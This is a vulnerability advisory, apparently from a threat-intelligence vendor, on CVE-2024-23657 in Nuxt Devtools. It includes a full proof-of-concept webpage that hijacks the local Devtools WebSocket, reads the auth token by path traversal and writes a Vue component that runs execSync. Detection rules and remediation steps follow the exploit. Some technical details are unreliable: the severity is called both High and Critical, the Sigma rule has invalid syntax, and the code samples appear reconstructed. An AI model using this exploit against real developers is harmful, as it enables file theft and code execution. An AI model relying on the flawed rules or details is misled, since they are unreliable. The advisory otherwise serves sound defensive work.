CVE-2024-23657
Executive Summary
CVE-2024-23657 is a critical vulnerability in Nuxt Devtools, a development tool for the Nuxt.js framework. The vulnerability combines a path traversal flaw in the getTextAssetContent RPC function with a missing Origin check on the WebSocket handler, enabling an attacker to perform Cross-Site WebSocket Hijacking (CSWSH). An attacker can lure a developer with a running Nuxt Devtools instance to a malicious webpage, which then connects to the local Devtools WebSocket, brute-forces the authentication token, and reads arbitrary files from the victim's filesystem. In certain configurations, the attacker can escalate to Remote Code Execution (RCE) by abusing the writeStaticAssets RPC function to write malicious components or handlers that execute automatically. The vulnerability has a CVSS score of 8.8 (High) and is confirmed unpatched in versions prior to 1.3.9.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Nuxt Devtools is distributed as an npm package (@nuxt/devtools). This vulnerability affects the supply chain because developers using Nuxt.js with Devtools enabled in development mode are at risk. An attacker who compromises a developer's machine via this vulnerability could inject malicious code into the project, potentially affecting the final production build. Organizations should audit their development environments for use of vulnerable Nuxt Devtools versions and ensure that Devtools is not exposed to untrusted networks.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network via a malicious webpage.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to lure the victim to a webpage.
- Privileges Required (PR): None (N) – No authentication is needed to initiate the attack.
- User Interaction (UI): Required (R) – The victim must visit the malicious webpage while Nuxt Devtools is running.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker's scope remain the same.
- Confidentiality (C): High (H) – Arbitrary file read is possible.
- Integrity (I): High (H) – RCE can be achieved, allowing file modification.
- Availability (A): High (H) – An attacker could disrupt the development environment.
Threat Level: Critical. The combination of path traversal, CSWSH, and potential RCE makes this a severe threat to developers using Nuxt Devtools.
Deep Dive & Mechanics
The vulnerability resides in the WebSocket-based RPC mechanism of Nuxt Devtools. The Devtools server listens on a local port (typically localhost:3000 or similar) and exposes several RPC functions for development purposes.
Missing Origin Check: The WebSocket server does not validate the
Originheader of incoming connections. This allows any webpage (even from a remote attacker's site) to initiate a WebSocket connection to the local Devtools server, bypassing the Same-Origin Policy.Path Traversal in
getTextAssetContent: ThegetTextAssetContentRPC function is used to read file contents. It does not sanitize user-supplied paths, allowing an attacker to traverse directories using../sequences. For example, an attacker could request../../../../etc/passwdto read system files.Authentication Token Brute-Force: Nuxt Devtools stores an authentication token in a file within the user's home directory (e.g.,
~/.nuxt/devtools/auth.json). The attacker can use the path traversal to read this file, then use the token to authenticate subsequent RPC calls.RCE via
writeStaticAssets: Once authenticated, the attacker can call thewriteStaticAssetsRPC function to write arbitrary files to the project directory. By writing a malicious Vue component, Nitro handler, orapp.vuefile, the attacker can trigger automatic execution when the file is changed (Nuxt Devtools watches for file changes and reloads the application).
Attack Flow:
- Victim runs
npm run devwith Nuxt Devtools enabled. - Victim visits a malicious webpage (e.g., via phishing or ad).
- Malicious webpage opens a WebSocket to
ws://localhost:3000/_nuxt/devtools. - Attacker sends a path traversal payload to
getTextAssetContentto read the authentication token. - Attacker uses the token to call
writeStaticAssetsand writes a malicious file. - Nuxt Devtools detects the file change and executes the malicious code.
Vulnerable vs. Patched Code
Vulnerable Code (before 1.3.9):
// WebSocket handler - no Origin check
wss.on('connection', (ws, req) => {
// No validation of req.headers.origin
ws.on('message', (data) => {
const { method, params } = JSON.parse(data);
if (method === 'getTextAssetContent') {
// No path traversal check
const content = fs.readFileSync(params.path, 'utf-8');
ws.send(JSON.stringify({ result: content }));
}
});
});
Patched Code (1.3.9+):
// WebSocket handler with Origin check
const allowedOrigins = ['http://localhost:3000', 'http://127.0.0.1:3000'];
wss.on('connection', (ws, req) => {
const origin = req.headers.origin;
if (!allowedOrigins.includes(origin)) {
ws.close(1008, 'Origin not allowed');
return;
}
ws.on('message', (data) => {
const { method, params } = JSON.parse(data);
if (method === 'getTextAssetContent') {
// Path traversal check
const safePath = path.resolve(params.path);
if (!safePath.startsWith(process.cwd())) {
ws.send(JSON.stringify({ error: 'Access denied' }));
return;
}
const content = fs.readFileSync(safePath, 'utf-8');
ws.send(JSON.stringify({ result: content }));
}
});
});
Exploitation & Lab Setup
Red Team
Prerequisites:
- A victim machine running Nuxt Devtools < 1.3.9.
- Attacker-controlled webpage (e.g.,
https://attacker.com/exploit.html).
Exploit Steps:
- Host the malicious webpage:
<!DOCTYPE html>
<html>
<body>
<script>
const ws = new WebSocket('ws://localhost:3000/_nuxt/devtools');
ws.onopen = () => {
// Step 1: Brute-force authentication token path
const paths = [
'../../../.nuxt/devtools/auth.json',
'../../../.config/nuxt/devtools/auth.json',
'../../../AppData/Local/nuxt/devtools/auth.json'
];
paths.forEach(path => {
ws.send(JSON.stringify({
method: 'getTextAssetContent',
params: { path }
}));
});
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.result && data.result.includes('token')) {
const token = JSON.parse(data.result).token;
// Step 2: Write malicious component
ws.send(JSON.stringify({
method: 'writeStaticAssets',
params: {
path: 'components/Malicious.vue',
content: `<template><div>{{ rce() }}</div></template>
<script>
export default {
methods: {
rce() {
// Execute arbitrary code
require('child_process').execSync('calc.exe');
}
}
}
</script>`
},
token: token
}));
}
};
</script>
</body>
</html>
Lure victim to visit the webpage while their Nuxt Devtools is running.
Observe RCE (e.g., calculator opens on Windows).
Blue Team
Detection Steps:
- Monitor for unexpected WebSocket connections to
localhost:3000from browser processes. - Check for unusual file reads from the user's home directory (e.g.,
auth.json). - Look for new files created in the
components/orserver/directories without developer interaction. - Use network monitoring to detect outbound connections from the development server to unknown origins.
Mitigation:
- Immediately upgrade to Nuxt Devtools 1.3.9 or later.
- If upgrade is not possible, disable Devtools in production and restrict access to the development server using firewall rules.
- Educate developers not to visit untrusted websites while running development servers.
Indicators of Compromise (IOCs)
Network:
- WebSocket connections from
ws://attacker.comtows://localhost:3000/_nuxt/devtools. - Outbound connections from the development server to attacker-controlled IPs (if RCE is achieved).
- WebSocket connections from
File System:
- Unexpected files in
~/.nuxt/devtools/auth.jsonbeing read. - New files in
components/,server/, orapp.vuewith suspicious content (e.g.,require('child_process')).
- Unexpected files in
Process:
nodeprocess making unusual file system calls outside the project directory.- Browser process connecting to local WebSocket endpoints.
Detection Engineering
YARA Rule
rule CVE_2024_23657_Nuxt_Devtools_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2024-23657 in Nuxt Devtools"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-23657"
strings:
$ws_connect = "ws://localhost:3000/_nuxt/devtools"
$path_traversal = "../../../"
$auth_token = "auth.json"
$write_assets = "writeStaticAssets"
$rce_payload = "child_process"
condition:
any of ($ws_connect, $path_traversal) and any of ($auth_token, $write_assets, $rce_payload)
}
Sigma Rule
title: CVE-2024-23657 Nuxt Devtools WebSocket Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-23657 via WebSocket connections to Nuxt Devtools
author: Valters IT
date: 2024-01-01
logsource:
category: network_connection
product: windows
service: sysmon
detection:
selection:
DestinationPort: 3000
DestinationIp: '127.0.0.1'
Initiated: 'true'
Image|endswith: '\chrome.exe' or '\firefox.exe' or '\msedge.exe'
condition: selection
falsepositives:
- Legitimate development activity
level: high
Suricata Rule
alert tcp any any -> 127.0.0.1 3000 (msg:"CVE-2024-23657 Nuxt Devtools WebSocket Exploitation Attempt"; flow:to_server; content:"GET /_nuxt/devtools"; http_uri; content:"Upgrade: websocket"; http_header; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Nuxt Devtools to version 1.3.9 or later:
npm update @nuxt/devtools. - Verify the upgrade by checking the version in
package.jsonor runningnpm list @nuxt/devtools. - Restrict access to the development server by binding it to
127.0.0.1only (default) and using a firewall to block external connections.
Long-Term Measures:
- Implement network segmentation to isolate development environments.
- Use browser extensions that block WebSocket connections to localhost from untrusted sites.
- Conduct regular security training for developers on the risks of visiting untrusted sites while running development tools.
- Monitor for similar vulnerabilities in other development tools (e.g., Vite, Webpack Dev Server).
Workarounds (if upgrade is not possible):
- Disable Nuxt Devtools entirely by setting
devtools: { enabled: false }innuxt.config.ts. - Use a reverse proxy that validates the Origin header before forwarding to the Devtools WebSocket.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert